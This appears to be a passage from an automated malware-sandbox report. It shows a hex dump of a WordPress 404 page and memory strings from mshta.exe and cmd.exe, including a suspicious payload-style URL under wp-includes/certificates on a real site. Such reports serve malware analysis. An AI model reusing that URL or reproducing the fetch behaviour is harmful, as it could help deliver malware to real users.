3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Aug 2022 09:49:54 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/"Content-Type: text/html; charset=UTF-8X-Varnish: 20836419Age: 0Via: 1.1 varnish-v4Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 30 30 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 7

Source: owl.carousel[1].js.8.dr	String found in binary or memory: https://www.youtube.com/watch?v=:id equals www.youtube.com (Youtube)
Source: owl.carousel[1].js.8.dr	String found in binary or memory: html.attr( 'src', '//www.youtube.com/embed/' + video.id + '?autoplay=1&rel=0&v=' + video.id ); equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000003.1096244560.0000000004FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: //vimeo.com/api/v2/video///img.youtube.com/vi/.owl-video-frameowl-video-playing//view.vzaar.com///www.youtube.com/embed//player?autoplay=true equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1173652713.0000000000338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000008.00000003.1095697371.0000000004FDE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1095934731.0000000004FE3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1095989675.0000000004FE6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1096031774.0000000004FE7000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1095864980.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: transitionend//player.vimeo.com/video/%id%?autoplay=1//www.youtube.com/embed/%id%?autoplay=1 equals www.youtube.com (Youtube)
Source: mshta.exe, 00000008.00000002.1173652713.0000000000338000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: jquery.mousewheel.min[1].js.8.dr	String found in binary or memory: http://adomas.org/javascript-mouse-wheel/
Source: jquery.mousewheel.min[1].js.8.dr	String found in binary or memory: http://brandonaaron.net)
Source: swfobject[1].js.8.dr	String found in binary or memory: http://code.google.com/p/swfobject/
Source: mshta.exe, 00000008.00000003.949203382.00000000003A1000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://creativecommons.org/licenses/by/3.0/
Source: animate-logo[1].css.8.dr	String found in binary or memory: http://daneden.me/animate
Source: jquery.magnific-popup.min[1].js.8.dr	String found in binary or memory: http://dimsemenov.com/plugins/magnific-popup/
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20tion
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.204.9.20
Source: mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.10
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173484810.00000000002C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eo
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.
Source: mshta.exe, 00000008.00000003.1055624165.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1097230305.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20.2
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Source: mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.c
Source: mshta.exe, 00000008.00000003.1055624165.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1097230305.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173484810.00000000002C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js
Source: mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.cs
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver
Source: mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs
Source: mshta.exe, 00000008.00000003.1115260987.00000000039E5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1028583143.00000000039E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css.css6~Ojp
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css.0.0
Source: mshta.exe, 00000008.00000003.1102150011.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1101516953.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102287643.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102402206.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102190104.0000000004995000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4204.0E)
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4US
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0;
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0US
Source: mshta.exe, 00000008.00000003.1102150011.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1101516953.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102287643.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102402206.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102190104.0000000004995000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0http://facextra
Source: mshta.exe, 00000008.00000003.1055624165.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1097230305.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0
Source: mshta.exe, 00000008.00000003.1102150011.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1101516953.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102287643.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102402206.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102190104.0000000004995000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:
Source: mshta.exe, 00000008.00000002.1173581382.000000000030D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2
Source: mshta.exe, 00000008.00000003.1121379328.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P
Source: mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.css
Source: mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1
Source: mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?
Source: mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0
Source: mshta.exe, 00000008.00000003.1102150011.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1101516953.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102287643.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102402206.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102190104.0000000004995000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Source: mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Source: mshta.exe, 00000008.00000003.1055624165.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1097230305.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000003.1102150011.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1101516953.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102287643.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102402206.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102190104.0000000004995000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3http://facextrad
Source: mshta.exe, 00000008.00000003.1102150011.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1101516953.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102287643.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102402206.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102190104.0000000004995000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css9~Ojp
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssacket
Source: mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssS
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.33.0.6
Source: mshta.exe, 00000008.00000002.1173484810.00000000002C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Source: mshta.exe, 00000008.00000003.1050373912.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102150011.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1050874152.0000000004993000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1101516953.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102287643.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102402206.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1051101738.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102190104.0000000004995000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1051052810.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1050968562.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1051012010.0000000004995000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.00
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Source: mshta.exe, 00000008.00000002.1173484810.00000000002C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css.css?ver=4.9.204.9.201.2.8.12444
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.csse
Source: mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.cssa.css/
Source: mshta.exe, 00000008.00000003.1115260987.00000000039E5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1028583143.00000000039E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme512530
Source: mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt
Source: cmd.exe, 00000002.00000002.1173152064.000000000023E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0
